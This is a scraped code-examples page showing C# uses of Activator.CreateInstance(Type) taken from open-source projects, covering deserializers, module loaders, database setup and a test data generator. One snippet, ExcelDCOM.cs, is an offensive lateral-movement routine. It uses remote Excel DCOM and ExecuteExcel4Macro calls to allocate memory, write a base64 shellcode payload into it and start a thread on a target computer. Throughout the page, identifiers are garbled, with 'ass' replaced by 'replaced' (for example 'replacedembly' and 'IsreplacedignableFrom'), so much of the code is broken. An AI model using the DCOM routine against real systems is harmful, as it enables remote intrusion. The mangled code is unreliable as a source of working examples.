System.Activator.CreateInstance(System.Type)

Here are the examples of the csharp api System.Activator.CreateInstance(System.Type) taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.

5106 Examples 7

19 View Source File : Protocol16Deserializer.cs
License : MIT License
Project Creator : 0blu

private static IDictionary DeserializeDictionary(Protocol16Stream input)
        {
            byte keyTypeCode = (byte)input.ReadByte();
            byte valueTypeCode = (byte)input.ReadByte();
            int dictionarySize = DeserializeShort(input);
            Type keyType = GetTypeOfCode(keyTypeCode);
            Type valueType = GetTypeOfCode(valueTypeCode);
            Type dictionaryType = typeof(Dictionary<,>).MakeGenericType(new Type[]
            {
                keyType,
                valueType
            });

            IDictionary output = Activator.CreateInstance(dictionaryType) as IDictionary;
            DeserializeDictionaryElements(input, output, dictionarySize, keyTypeCode, valueTypeCode);
            return output;
        }

19 View Source File : Protocol16Deserializer.cs
License : MIT License
Project Creator : 0blu

private static bool DeserializeDictionaryArray(Protocol16Stream input, short size, out Array result)
        {
            Type type = DeserializeDictionaryType(input, out byte keyTypeCode, out byte valueTypeCode);
            result = Array.CreateInstance(type, size);

            for (short i = 0; i < size; i++)
            {
                if (!(Activator.CreateInstance(type) is IDictionary dictionary))
                {
                    return false;
                }
                short arraySize = DeserializeShort(input);
                for (int j = 0; j < arraySize; j++)
                {
                    object key;
                    if (keyTypeCode > 0)
                    {
                        key = Deserialize(input, keyTypeCode);
                    }
                    else
                    {
                        byte nextKeyTypeCode = (byte)input.ReadByte();
                        key = Deserialize(input, nextKeyTypeCode);
                    }
                    object value;
                    if (valueTypeCode > 0)
                    {
                        value = Deserialize(input, valueTypeCode);
                    }
                    else
                    {
                        byte nextValueTypeCode = (byte)input.ReadByte();
                        value = Deserialize(input, nextValueTypeCode);
                    }
                    dictionary.Add(key, value);
                }
                result.SetValue(dictionary, i);
            }

            return true;
        }

19 View Source File : CelesteNetServerModuleWrapper.cs
License : MIT License
Project Creator : 0x0ade

public void Load() {
            if (Module != null)
                return;
            Logger.Log(LogLevel.INF, "module", $"Loading {ID}");

            Loadreplacedembly();

            if (replacedembly == null)
                throw new Exception($"Failed to load replacedembly for {ID} - {replacedemblyPath}");

            foreach (Type type in replacedembly.GetTypes()) {
                if (typeof(CelesteNetServerModule).IsreplacedignableFrom(type) && !type.IsAbstract) {
                    Module = (CelesteNetServerModule?) Activator.CreateInstance(type);
                    break;
                }
            }

            if (Module == null)
                throw new Exception($"Found no module clreplaced in {ID} - {replacedemblyPath}");

            lock (Server.Modules) {
                Server.Modules.Add(Module);
                Server.ModuleMap[Module.GetType()] = Module;
            }

            if (Server.Initialized) {
                Logger.Log(LogLevel.INF, "module", $"Initializing {ID} (late)");
                Module.Init(this);
                if (Server.IsAlive) {
                    Logger.Log(LogLevel.INF, "module", $"Starting {ID} (late)");
                    Module.Start();
                }
                Server.Data.RescanDataTypes(replacedembly.GetTypes());
            }
        }

19 View Source File : ExcelDCOM.cs
License : GNU General Public License v3.0
Project Creator : 0xthirteen

static void ExecExcelDCOM(string computername, string arch)
        {
            try
            {
                Type ComType = Type.GetTypeFromProgID("Excel.Application", computername);
		object RemoteComObject = Activator.CreateInstance(ComType);
                int lpAddress;
                if (arch == "x64")
                {
                    lpAddress = 1342177280;
                }
                else
                {
                    lpAddress = 0;
                }
                string strfn = ("$$PAYLOAD$$");
                byte[] benign = Convert.FromBase64String(strfn);

                var memaddr = Convert.ToDouble(RemoteComObject.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, RemoteComObject, new object[] { "CALL(\"Kernel32\",\"VirtualAlloc\",\"JJJJJ\"," + lpAddress + "," + benign.Length + ",4096,64)" }));
                int count = 0;
                foreach (var mybyte in benign)
                {
                    var charbyte = String.Format("CHAR({0})", mybyte);
                    var ret = RemoteComObject.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, RemoteComObject, new object[] { "CALL(\"Kernel32\",\"WriteProcessMemory\",\"JJJCJJ\",-1, " + (memaddr + count) + "," + charbyte + ", 1, 0)" });
                    count = count + 1;
                }
                RemoteComObject.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, RemoteComObject, new object[] { "CALL(\"Kernel32\",\"CreateThread\",\"JJJJJJJ\",0, 0, " + memaddr + ", 0, 0, 0)" });
                Console.WriteLine("[+] Executing against      :   {0}", computername);
            }
            
            catch (Exception e)
            {
                Console.WriteLine("[-] Error: {0}", e.Message);
            }
            
        }

19 View Source File : PollyCircuitBreaker.cs
License : MIT License
Project Creator : 1100100

private AsyncPolicy<IServiceResult> GetPolicy(string route, Type returnValueType)
        {
            return Policies.GetOrAdd(route, key =>
            {
                var service = ServiceFactory.Get(route);
                var serviceCircuitBreakerOptions = service.ServiceCircuitBreakerOptions;
                var circuitBreakerEvent = ServiceProvider.GetService<ICircuitBreakerEvent>();
                AsyncPolicy<IServiceResult> policy = Policy<IServiceResult>.Handle<Exception>().FallbackAsync<IServiceResult>(
                     async ct =>
                     {
                         //TODO 如果多次降级,根据路由排除此node
                         if (circuitBreakerEvent != null)
                             await circuitBreakerEvent.OnFallback(route, service.ClientMethodInfo);
                         if (returnValueType == null)
                             return new ServiceResult(null);
                         if (service.ServiceCircuitBreakerOptions.HasInjection)
                             return new ServiceResult(await ScriptInjection.Run(route));
                         return new ServiceResult(returnValueType.IsValueType ? Activator.CreateInstance(returnValueType) : default);
                     });
                if (serviceCircuitBreakerOptions.ExceptionsAllowedBeforeBreaking > 0)
                {
                    policy = policy.WrapAsync(Policy.Handle<Exception>().CircuitBreakerAsync(serviceCircuitBreakerOptions.ExceptionsAllowedBeforeBreaking, serviceCircuitBreakerOptions.DurationOfBreak,
                        async (ex, state, ts, ctx) =>
                        {
                            if (circuitBreakerEvent != null)
                                await circuitBreakerEvent.OnBreak(route, service.ClientMethodInfo, ex, ts);
                        },
                        async ctx =>
                        {
                            if (circuitBreakerEvent != null)
                                await circuitBreakerEvent.OnRest(route, service.ClientMethodInfo);
                        },
                        async () =>
                        {
                            if (circuitBreakerEvent != null)
                                await circuitBreakerEvent.OnHalfOpen(route, service.ClientMethodInfo);
                        }));
                }
                if (serviceCircuitBreakerOptions.Retry > 0)
                {
                    policy = policy.WrapAsync(Policy.Handle<Exception>().RetryAsync(serviceCircuitBreakerOptions.Retry,
                        async (ex, times) =>
                        {
                            if (circuitBreakerEvent != null)
                                await circuitBreakerEvent.OnRetry(route, service.ClientMethodInfo, ex, times);
                        }));
                }

                if (serviceCircuitBreakerOptions.MaxParallelization > 0)
                {
                    policy = policy.WrapAsync(Policy.BulkheadAsync(serviceCircuitBreakerOptions.MaxParallelization, serviceCircuitBreakerOptions.MaxQueuingActions, async ctx =>
                     {
                         if (circuitBreakerEvent != null)
                             await circuitBreakerEvent.OnBulkheadRejected(route, service.ClientMethodInfo);
                     }));
                }

                if (serviceCircuitBreakerOptions.Timeout.Ticks > 0)
                {
                    policy = policy.WrapAsync(Policy.TimeoutAsync(serviceCircuitBreakerOptions.Timeout, TimeoutStrategy.Pessimistic,
                        async (ctx, ts, task, ex) =>
                        {
                            if (circuitBreakerEvent != null)
                                await circuitBreakerEvent.OnTimeOut(route, service.ClientMethodInfo, ex);
                        }));
                }


                return policy;
            });
        }

19 View Source File : DbBuilder.cs
License : MIT License
Project Creator : 17MKH

private void CreateDbContext()
    {
        var sp = Services.BuildServiceProvider();
        var dbLogger = new DbLogger(Options, sp.GetService<IDbLoggerProvider>());
        var accountResolver = sp.GetService<IAccountResolver>();

        //获取数据库适配器的程序集
        var dbAdapterreplacedemblyName = replacedembly.GetCallingreplacedembly().GetName().Name!.Replace("Core", "Adapter.") + Options.Provider;
        var dbAdapterreplacedembly = replacedemblyLoadContext.Default.LoadFromreplacedemblyName(new replacedemblyName(dbAdapterreplacedemblyName));

        //创建数据库上下文实例,通过反射设置属性
        DbContext = (IDbContext)Activator.CreateInstance(_dbContextType);
        _dbContextType.GetProperty("Options")?.SetValue(DbContext, Options);
        _dbContextType.GetProperty("Logger")?.SetValue(DbContext, dbLogger);
        _dbContextType.GetProperty("Adapter")?.SetValue(DbContext, CreateDbAdapter(dbAdapterreplacedemblyName, dbAdapterreplacedembly));
        _dbContextType.GetProperty("SchemaProvider")?.SetValue(DbContext, CreateSchemaProvider(dbAdapterreplacedemblyName, dbAdapterreplacedembly));
        _dbContextType.GetProperty("CodeFirstProvider")?.SetValue(DbContext, CreateCodeFirstProvider(dbAdapterreplacedemblyName, dbAdapterreplacedembly, Services));
        _dbContextType.GetProperty("AccountResolver")?.SetValue(DbContext, accountResolver);

        // ReSharper disable once replacedignNullToNotNullAttribute
        Services.AddSingleton(_dbContextType, DbContext);
    }

19 View Source File : RandomHelper.cs
License : MIT License
Project Creator : 1996v

public static object RandomValue(this Type t, bool stringValueAllowEmpty = true)
        {
            if (t.IsPrimitive)
            {
                if (t == typeof(byte))
                {
                    return (byte)(Rand.Next(byte.MaxValue - byte.MinValue + 1) + byte.MinValue);
                }

                if (t == typeof(sbyte))
                {
                    return (sbyte)(Rand.Next(sbyte.MaxValue - sbyte.MinValue + 1) + sbyte.MinValue);
                }

                if (t == typeof(short))
                {
                    return (short)(Rand.Next(short.MaxValue - short.MinValue + 1) + short.MinValue);
                }

                if (t == typeof(ushort))
                {
                    return (ushort)(Rand.Next(ushort.MaxValue - ushort.MinValue + 1) + ushort.MinValue);
                }

                if (t == typeof(int))
                {
                    var bytes = new byte[4];
                    Rand.NextBytes(bytes);

                    return BitConverter.ToInt32(bytes, 0);
                }

                if (t == typeof(uint))
                {
                    var bytes = new byte[4];
                    Rand.NextBytes(bytes);

                    return BitConverter.ToUInt32(bytes, 0);
                }

                if (t == typeof(long))
                {
                    var bytes = new byte[8];
                    Rand.NextBytes(bytes);

                    return BitConverter.ToInt64(bytes, 0);
                }

                if (t == typeof(ulong))
                {
                    var bytes = new byte[8];
                    Rand.NextBytes(bytes);

                    return BitConverter.ToUInt64(bytes, 0);
                }

                if (t == typeof(float))
                {
                    var bytes = new byte[4];
                    Rand.NextBytes(bytes);

                    var f = BitConverter.ToSingle(bytes, 0);
                    if (float.IsNaN(f))
                        f = (float)RandomValue<short>();
                    return f;
                }

                if (t == typeof(double))
                {
                    var bytes = new byte[8];
                    Rand.NextBytes(bytes);

                    var d = BitConverter.ToDouble(bytes, 0);
                    if (double.IsNaN(d))
                        d = (double)RandomValue<short>();
                    return d;
                }

                if (t == typeof(char))
                {
                    var roll = Rand.Next(ASCII.Length);

                    return ASCII[roll];
                }

                if (t == typeof(bool))
                {
                    return (Rand.Next(2) == 1);
                }

                throw new InvalidOperationException();
            }

            if (t == typeof(decimal))
            {
                return new decimal((int)typeof(int).RandomValue(), (int)typeof(int).RandomValue(), (int)typeof(int).RandomValue(), false, 28);
            }

            if (t == typeof(string))
            {
                int start = stringValueAllowEmpty ? 0 : 1;
                var len = Rand.Next(start, 28);
                var c = new char[len];
                for (var i = 0; i < c.Length; i++)
                {
                    c[i] = (char)typeof(char).RandomValue();
                }

                return new string(c);
            }

            if (t == typeof(DateTime))
            {
                var epoch = new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc);

                var bytes = new byte[4];
                Rand.NextBytes(bytes);

                var secsOffset = BitConverter.ToInt32(bytes, 0);

                var retDate = epoch.AddSeconds(secsOffset);

                return retDate;
            }

            if (t == typeof(TimeSpan))
            {
                return new TimeSpan(RandomValue<DateTime>().Ticks);
            }

            if (t == typeof(DataTable))
            {
                DataTable dt = new DataTable();
                int coluCount = Rand.Next(10, 30);
                for (int i = 0; i < coluCount; i++)
                {
                    dt.Columns.Add(RandomHelper.RandomValue<string>(false), typeof(object));
                }
                int rowCount = Rand.Next(20, 50);
                for (int i = 0; i < rowCount; i++)
                {
                    var row = new object[coluCount];
                    for (int zi = 0; zi < coluCount; zi++)
                    {
                        row[zi] = RandomHelper.RandomValue<object>();
                    }
                    dt.Rows.Add(row);
                }
                return dt;
            }

            if (t.IsNullable())
            {
                // leave it unset
                if (Rand.Next(2) == 0)
                {
                    // null!
                    return Activator.CreateInstance(t);
                }

                var underlying = Nullable.GetUnderlyingType(t);
                var val = underlying.RandomValue(stringValueAllowEmpty);

                var cons = t.GetConstructor(new[] { underlying });

                return cons.Invoke(new object[] { val });
            }

            if (t.IsEnum)
            {
                var allValues = Enum.GetValues(t);
                var ix = Rand.Next(allValues.Length);

                return allValues.GetValue(ix);
            }

            if (t.IsArray)
            {
                var valType = t.GetElementType();
                var len = Rand.Next(20, 50);
                var ret = Array.CreateInstance(valType, len);
                //var add = t.GetMethod("SetValue");
                for (var i = 0; i < len; i++)
                {
                    var elem = valType.RandomValue(stringValueAllowEmpty);
                    ret.SetValue(elem, i);
                }

                return ret;
            }

            if (t.IsGenericType)
            {
                var defind = t.GetGenericTypeDefinition();
                if (defind == typeof(HashSet<>))
                {
                    var valType = t.GetGenericArguments()[0];
                    var ret = Activator.CreateInstance(t);
                    var add = t.GetMethod("Add");
                    var contains = t.GetMethod("Contains");

                    var len = Rand.Next(20, 50);
                    for (var i = 0; i < len; i++)
                    {
                        var elem = valType.RandomValue(stringValueAllowEmpty);
                        while (elem == null || (bool)contains.Invoke(ret, new object[] { elem }))
                            elem = valType.RandomValue(stringValueAllowEmpty);
                        add.Invoke(ret, new object[] { elem });
                    }

                    return ret;
                }
                if (defind == typeof(Dictionary<,>))
                {
                    var keyType = t.GetGenericArguments()[0];
                    var valType = t.GetGenericArguments()[1];
                    var ret = Activator.CreateInstance(t);
                    var add = t.GetMethod("Add");
                    var contains = t.GetMethod("ContainsKey");

                    var len = Rand.Next(20, 50);
                    if (keyType == typeof(Boolean))
                        len = 2;
                    for (var i = 0; i < len; i++)
                    {
                        var val = valType.RandomValue(stringValueAllowEmpty);
                        var key = keyType.RandomValue(stringValueAllowEmpty);
                        while (key == null || (bool)contains.Invoke(ret, new object[] { key }))
                            key = keyType.RandomValue(stringValueAllowEmpty);
                        add.Invoke(ret, new object[] { key, val });
                    }

                    return ret;
                }
                if (defind == typeof(List<>))
                {
                    var valType = t.GetGenericArguments()[0];
                    var ret = Activator.CreateInstance(t);
                    var add = t.GetMethod("Add");

                    var len = Rand.Next(20, 50);
                    for (var i = 0; i < len; i++)
                    {
                        var elem = valType.RandomValue(stringValueAllowEmpty);
                        add.Invoke(ret, new object[] { elem });
                    }

                    return ret;
                }
                if (defind == typeof(ArraySegment<>))
                {
                    var valType = t.GetGenericArguments()[0];
                    var ary = valType.MakeArrayType().RandomValue(stringValueAllowEmpty);
                    var lenT = ary.GetType().GetProperty("Length");
                    var offset = Rand.Next(0, (int)lenT.GetValue(ary) - 1);
                    var len = (int)lenT.GetValue(ary) - offset;

                    return Activator.CreateInstance(t, ary, offset, len);
                }
            }

            if (t == typeof(Guid))
                return Guid.NewGuid();

            if (t == typeof(object))
            {
                var code = Rand.Next(0, 9);
                switch (code)
                {
                    case 0:
                        return RandomValue<int>();
                    case 1:
                        return RandomValue<long>();
                    case 2:
                        return RandomValue<Char>();
                    case 3:
                        return RandomValue<DateTime>();
                    case 4:
                        return RandomValue<string>(stringValueAllowEmpty);
                    case 5:
                        return RandomValue<Guid>();
                    case 6:
                        return RandomValue<decimal>();
                    case 7:
                        return RandomValue<double>();
                    case 8:
                        return RandomValue<float>();
                    default:
                        return RandomValue<short>();
                }
            }

            //model
            var retObj = Activator.CreateInstance(t);
            foreach (var p in t.GetFields())
            {
                //if (Rand.Next(5) == 0) continue;

                var fieldType = p.FieldType;

                p.SetValue(retObj, fieldType.RandomValue(stringValueAllowEmpty));
            }

            foreach (var p in t.GetProperties())
            {
                //if (Rand.Next(5) == 0) continue;
                if (p.CanWrite && p.CanRead)
                {
                    var fieldType = p.PropertyType;

                    p.SetValue(retObj, fieldType.RandomValue(stringValueAllowEmpty));
                }
            }

            return retObj;
        }

19 View Source File : RandomHelper.cs
License : MIT License
Project Creator : 1996v

public static object RandomValue(this Type t, bool stringValueAllowEmpty = true)
        {
            if (t.IsPrimitive)
            {
                if (t == typeof(byte))
                {
                    return (byte)(Rand.Next(byte.MaxValue - byte.MinValue + 1) + byte.MinValue);
                }

                if (t == typeof(sbyte))
                {
                    return (sbyte)(Rand.Next(sbyte.MaxValue - sbyte.MinValue + 1) + sbyte.MinValue);
                }

                if (t == typeof(short))
                {
                    return (short)(Rand.Next(short.MaxValue - short.MinValue + 1) + short.MinValue);
                }

                if (t == typeof(ushort))
                {
                    return (ushort)(Rand.Next(ushort.MaxValue - ushort.MinValue + 1) + ushort.MinValue);
                }

                if (t == typeof(int))
                {
                    var bytes = new byte[4];
                    Rand.NextBytes(bytes);

                    return BitConverter.ToInt32(bytes, 0);
                }

                if (t == typeof(uint))
                {
                    var bytes = new byte[4];
                    Rand.NextBytes(bytes);

                    return BitConverter.ToUInt32(bytes, 0);
                }

                if (t == typeof(long))
                {
                    var bytes = new byte[8];
                    Rand.NextBytes(bytes);

                    return BitConverter.ToInt64(bytes, 0);
                }

                if (t == typeof(ulong))
                {
                    var bytes = new byte[8];
                    Rand.NextBytes(bytes);

                    return BitConverter.ToUInt64(bytes, 0);
                }

                if (t == typeof(float))
                {
                    var bytes = new byte[4];
                    Rand.NextBytes(bytes);

                    var f = BitConverter.ToSingle(bytes, 0);
                    if (float.IsNaN(f))
                        f = (float)RandomValue<short>();
                    return f;
                }

                if (t == typeof(double))
                {
                    var bytes = new byte[8];
                    Rand.NextBytes(bytes);

                    var d= BitConverter.ToDouble(bytes, 0);
                    if (double.IsNaN(d))
                        d = (double)RandomValue<short>();
                    return d;
                }

                if (t == typeof(char))
                {
                    var roll = Rand.Next(ASCII.Length);

                    return ASCII[roll];
                }

                if (t == typeof(bool))
                {
                    return (Rand.Next(2) == 1);
                }

                throw new InvalidOperationException();
            }

            if (t == typeof(decimal))
            {
                return new decimal((int)typeof(int).RandomValue(), (int)typeof(int).RandomValue(), (int)typeof(int).RandomValue(), false, 28);
            }

            if (t == typeof(string))
            {
                int start = stringValueAllowEmpty ? 0 : 1;
                var len = Rand.Next(start, 40);
                var c = new char[len];
                for (var i = 0; i < c.Length; i++)
                {
                    c[i] = (char)typeof(char).RandomValue();
                }

                return new string(c);
            }

            if (t == typeof(DateTime))
            {
                var epoch = new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc);

                var bytes = new byte[4];
                Rand.NextBytes(bytes);

                var secsOffset = BitConverter.ToInt32(bytes, 0);

                var retDate = epoch.AddSeconds(secsOffset);

                return retDate;
            }

            if (t == typeof(TimeSpan))
            {
                return new TimeSpan(RandomValue<DateTime>().Ticks);
            }

            if (t == typeof(DataTable))
            {
                DataTable dt = new DataTable();
                int coluCount = Rand.Next(10, 30);
                for (int i = 0; i < coluCount; i++)
                {
                    string n = RandomHelper.RandomValue<string>(false);
                    while(dt.Columns.Contains(n))
                        n = RandomHelper.RandomValue<string>(false);
                    dt.Columns.Add(n, typeof(object));
                }
                int rowCount = Rand.Next(20, 50);
                for (int i = 0; i < rowCount; i++)
                {
                    var row = new object[coluCount];
                    for (int zi = 0; zi < coluCount; zi++)
                    {
                        row[zi] = RandomHelper.RandomValue<object>();
                    }
                    dt.Rows.Add(row);
                }
                return dt;
            }

            if (t.IsNullable())
            {
                // leave it unset
                if (Rand.Next(2) == 0)
                {
                    // null!
                    return Activator.CreateInstance(t);
                }

                var underlying = Nullable.GetUnderlyingType(t);
                var val = underlying.RandomValue(stringValueAllowEmpty);

                var cons = t.GetConstructor(new[] { underlying });

                return cons.Invoke(new object[] { val });
            }

            if (t.IsEnum)
            {
                var allValues = Enum.GetValues(t);
                var ix = Rand.Next(allValues.Length);

                return allValues.GetValue(ix);
            }

            if (t.IsArray)
            {
                var valType = t.GetElementType();
                var len = Rand.Next(20, 50);
                var ret = Array.CreateInstance(valType, len);
                //var add = t.GetMethod("SetValue");
                for (var i = 0; i < len; i++)
                {
                    var elem = valType.RandomValue(stringValueAllowEmpty);
                    ret.SetValue(elem, i);
                }

                return ret;
            }

            if (t.IsGenericType)
            {
                var defind = t.GetGenericTypeDefinition();
                if (defind == typeof(HashSet<>))
                {
                    var valType = t.GetGenericArguments()[0];
                    var ret = Activator.CreateInstance(t);
                    var add = t.GetMethod("Add");
                    var contains = t.GetMethod("Contains");

                    var len = Rand.Next(20, 50);
                    for (var i = 0; i < len; i++)
                    {
                        var elem = valType.RandomValue(stringValueAllowEmpty);
                        while (elem == null || (bool)contains.Invoke(ret, new object[] { elem }))
                            elem = valType.RandomValue(stringValueAllowEmpty);
                        add.Invoke(ret, new object[] { elem });
                    }

                    return ret;
                }
                if (defind == typeof(Dictionary<,>))
                {
                    var keyType = t.GetGenericArguments()[0];
                    var valType = t.GetGenericArguments()[1];
                    var ret = Activator.CreateInstance(t);
                    var add = t.GetMethod("Add");
                    var contains = t.GetMethod("ContainsKey");

                    var len = Rand.Next(20, 50);
                    if (keyType == typeof(Boolean))
                        len = 2;
                    for (var i = 0; i < len; i++)
                    {
                        var val = valType.RandomValue(stringValueAllowEmpty);
                        var key = keyType.RandomValue(stringValueAllowEmpty);
                       

                        while (key == null || (bool)contains.Invoke(ret, new object[] { key }))
                            key = keyType.RandomValue(stringValueAllowEmpty);
                        add.Invoke(ret, new object[] { key, val });
                    }

                    return ret;
                }
                if (defind == typeof(List<>))
                {
                    var valType = t.GetGenericArguments()[0];
                    var ret = Activator.CreateInstance(t);
                    var add = t.GetMethod("Add");

                    var len = Rand.Next(20, 50);
                    for (var i = 0; i < len; i++)
                    {
                        var elem = valType.RandomValue(stringValueAllowEmpty);
                        add.Invoke(ret, new object[] { elem });
                    }

                    return ret;
                }
                if (defind == typeof(ArraySegment<>))
                {
                    var valType = t.GetGenericArguments()[0];
                    var ary = valType.MakeArrayType().RandomValue(stringValueAllowEmpty);
                    var lenT = ary.GetType().GetProperty("Length");
                    var offset = Rand.Next(0, (int)lenT.GetValue(ary) - 1);
                    var len = (int)lenT.GetValue(ary) - offset;

                    return Activator.CreateInstance(t, ary, offset, len);
                }
            }

            if (t == typeof(Guid))
                return Guid.NewGuid();

            if (t == typeof(object))
            {
                var code = Rand.Next(0, 9);
                switch (code)
                {
                    case 0:
                        return RandomValue<int>();
                    case 1:
                        return RandomValue<long>();
                    case 2:
                        return RandomValue<Char>();
                    case 3:
                        return RandomValue<DateTime>();
                    case 4:
                        return RandomValue<string>(stringValueAllowEmpty);
                    case 5:
                        return RandomValue<Guid>();
                    case 6:
                        return RandomValue<decimal>();
                    case 7:
                        return RandomValue<double>();
                    case 8:
                        return RandomValue<float>();
                    default:
                        return RandomValue<short>();
                }
            }

            //model
            var retObj = Activator.CreateInstance(t);
            foreach (var p in t.GetFields())
            {
                //if (Rand.Next(5) == 0) continue;

                var fieldType = p.FieldType;

                p.SetValue(retObj, fieldType.RandomValue(stringValueAllowEmpty));
            }

            foreach (var p in t.GetProperties())
            {
                //if (Rand.Next(5) == 0) continue;
                if (p.CanWrite && p.CanRead)
                {
                    var fieldType = p.PropertyType;

                    p.SetValue(retObj, fieldType.RandomValue(stringValueAllowEmpty));
                }
            }

            return retObj;
        }

19 View Source File : SetPropertyAction.cs
License : MIT License
Project Creator : 1iveowl

private void UpdatePropertyValue(object targetObject)
        {
            var targetType = targetObject.GetType();
            var propertyInfo = targetType.GetRuntimeProperty(PropertyName);
            ValidateProperty(targetType.Name, propertyInfo);

            Exception innerException = null;
            try
            {
                object result;

                var propertyType = propertyInfo.PropertyType;
                var propertyTypeInfo = propertyType.GetTypeInfo();

                if (Value is null)
                {
                    result = propertyTypeInfo.IsValueType ? Activator.CreateInstance(propertyType) : null;
                }
                else if (propertyTypeInfo.IsreplacedignableFrom(Value.GetType().GetTypeInfo()))
                {
                    result = Value;
                }
                else
                {
                    var valuereplacedtring = Value.ToString();
                    result = propertyTypeInfo.IsEnum ? Enum.Parse(propertyType, valuereplacedtring, false) : TypeConverterHelper.Convert(valuereplacedtring, propertyType.FullName);
                }
                propertyInfo.SetValue(targetObject, result, new object[0]);
            }
            catch (FormatException ex)
            {
                innerException = ex;
            }
            catch (ArgumentException ex)
            {
                innerException = ex;
            }

            if (innerException != null)
            {
                throw new ArgumentException("Cannot set value.", innerException);
            }
        }

19 View Source File : Admin.cs
License : MIT License
Project Creator : 2881099

async public static Task<bool> Use(HttpContext context, IFreeSql fsql, string requestPathBase, Dictionary<string, Type> dicEnreplacedyTypes) {
			HttpRequest req = context.Request;
			HttpResponse res = context.Response;

			var remUrl = req.Path.ToString().Substring(requestPathBase.Length).Trim(' ', '/').Split('/');
			var enreplacedyName = remUrl.FirstOrDefault();

			if (!string.IsNullOrEmpty(enreplacedyName)) {

				if (dicEnreplacedyTypes.TryGetValue(enreplacedyName, out var enreplacedyType) == false) throw new Exception($"UseFreeAdminLtePreview 错误,找不到实体类型:{enreplacedyName}");

				var tb = fsql.CodeFirst.GetTableByEnreplacedy(enreplacedyType);
				if (tb == null) throw new Exception($"UseFreeAdminLtePreview 错误,实体类型无法映射:{enreplacedyType.FullName}");

				var tpl = _tpl.Value;

				switch (remUrl.ElementAtOrDefault(1)?.ToLower()) {
					case null:
						//首页
						if (true) {
							MakeTemplateFile($"{enreplacedyName}-list.html", Views.List);

							//ManyToOne/OneToOne
							var getlistFilter = new List<(TableRef, string, string, Dictionary<string, object>, List<Dictionary<string, object>>)>();
							foreach (var prop in tb.Properties) {
								if (tb.ColumnsByCs.ContainsKey(prop.Key)) continue;
								var tbref = tb.GetTableRef(prop.Key, false);
								if (tbref == null) continue;
								switch (tbref.RefType) {
									case TableRefType.OneToMany: continue;
									case TableRefType.ManyToOne:
										getlistFilter.Add(await Utils.GetTableRefData(fsql, tbref));
										continue;
									case TableRefType.OneToOne:
										continue;
									case TableRefType.ManyToMany:
										getlistFilter.Add(await Utils.GetTableRefData(fsql, tbref));
										continue;
								}
							}

							int.TryParse(req.Query["page"].FirstOrDefault(), out var getpage);
							int.TryParse(req.Query["limit"].FirstOrDefault(), out var getlimit);
							if (getpage <= 0) getpage = 1;
							if (getlimit <= 0) getlimit = 20;

							var getselect = fsql.Select<object>().AsType(enreplacedyType);
							foreach (var getlistF in getlistFilter) {
								var qv = req.Query[getlistF.Item3].ToArray();
								if (qv.Any()) {
									switch (getlistF.Item1.RefType) {
										case TableRefType.OneToMany: continue;
										case TableRefType.ManyToOne:
											getselect.Where(Utils.GetObjectWhereExpressionContains(tb, enreplacedyType, getlistF.Item1.Columns[0].CsName, qv));
											continue;
										case TableRefType.OneToOne:
											continue;
										case TableRefType.ManyToMany:
											if (true) {
												var midType = getlistF.Item1.RefMiddleEnreplacedyType;
												var midTb = fsql.CodeFirst.GetTableByEnreplacedy(midType);
												var midISelect = typeof(ISelect<>).MakeGenericType(midType);

												var funcType = typeof(Func<,>).MakeGenericType(typeof(object), typeof(bool));
												var expParam = Expression.Parameter(typeof(object), "a");
												var midParam = Expression.Parameter(midType, "mdtp");

												var anyMethod = midISelect.GetMethod("Any");
												var selectExp = qv.Select(c => Expression.Convert(Expression.Constant(FreeSql.Internal.Utils.GetDataReaderValue(getlistF.Item1.MiddleColumns[1].CsType, c)), getlistF.Item1.MiddleColumns[1].CsType)).ToArray();
												var expLambad = Expression.Lambda<Func<object, bool>>(
													Expression.Call(
														Expression.Call(
															Expression.Call(
																Expression.Constant(fsql),
																typeof(IFreeSql).GetMethod("Select", new Type[0]).MakeGenericMethod(midType)
															),
															midISelect.GetMethod("Where", new[] { typeof(Expression<>).MakeGenericType(typeof(Func<,>).MakeGenericType(midType, typeof(bool))) }),
															Expression.Lambda(
																typeof(Func<,>).MakeGenericType(midType, typeof(bool)),
																Expression.AndAlso(
																	Expression.Equal(
																		Expression.MakeMemberAccess(Expression.TypeAs(expParam, enreplacedyType), tb.Properties[getlistF.Item1.Columns[0].CsName]),
																		Expression.MakeMemberAccess(midParam, midTb.Properties[getlistF.Item1.MiddleColumns[0].CsName])
																	),
																	Expression.Call(
																		Utils.GetLinqContains(getlistF.Item1.MiddleColumns[1].CsType),
																		Expression.NewArrayInit(
																			getlistF.Item1.MiddleColumns[1].CsType,
																			selectExp
																		),
																		Expression.MakeMemberAccess(midParam, midTb.Properties[getlistF.Item1.MiddleColumns[1].CsName])
																	)
																),
																midParam
															)
														),
														anyMethod,
														Expression.Default(anyMethod.GetParameters().FirstOrDefault().ParameterType)
													),
													expParam);

												getselect.Where(expLambad);
											}
											continue;
									}
								}
							}

							var getlistTotal = await getselect.CountAsync();
							var getlist = await getselect.Page(getpage, getlimit).ToListAsync();
							var gethashlists = new Dictionary<string, object>[getlist.Count];
							var gethashlistsIndex = 0;
							foreach (var getlisreplacedem in getlist) {
								var gethashlist = new Dictionary<string, object>();
								foreach (var getcol in tb.ColumnsByCs) {
									gethashlist.Add(getcol.Key, tb.Properties[getcol.Key].GetValue(getlisreplacedem));
								}
								gethashlists[gethashlistsIndex++] = gethashlist;
							}

							var options = new Dictionary<string, object>();
							options["tb"] = tb;
							options["getlist"] = gethashlists;
							options["getlistTotal"] = getlistTotal;
							options["getlistFilter"] = getlistFilter;
							var str = _tpl.Value.RenderFile($"{enreplacedyName}-list.html", options);
							await res.WriteAsync(str);
						}
						return true;
					case "add":
					case "edit":
						//编辑页
						object gereplacedem = null;
						Dictionary<string, object> gethash = null;
						if (req.Query.Any()) {
							gereplacedem = Activator.CreateInstance(enreplacedyType);
							foreach (var getpk in tb.Primarys) {
								var reqv = req.Query[getpk.CsName].ToArray();
								if (reqv.Any())
									fsql.SetEnreplacedyValueWithPropertyName(enreplacedyType, gereplacedem, getpk.CsName, reqv.Length == 1 ? (object)reqv.FirstOrDefault() : reqv);
							}
							gereplacedem = await fsql.Select<object>().AsType(enreplacedyType).WhereDynamic(gereplacedem).FirstAsync();
							if (gereplacedem != null) {
								gethash = new Dictionary<string, object>();
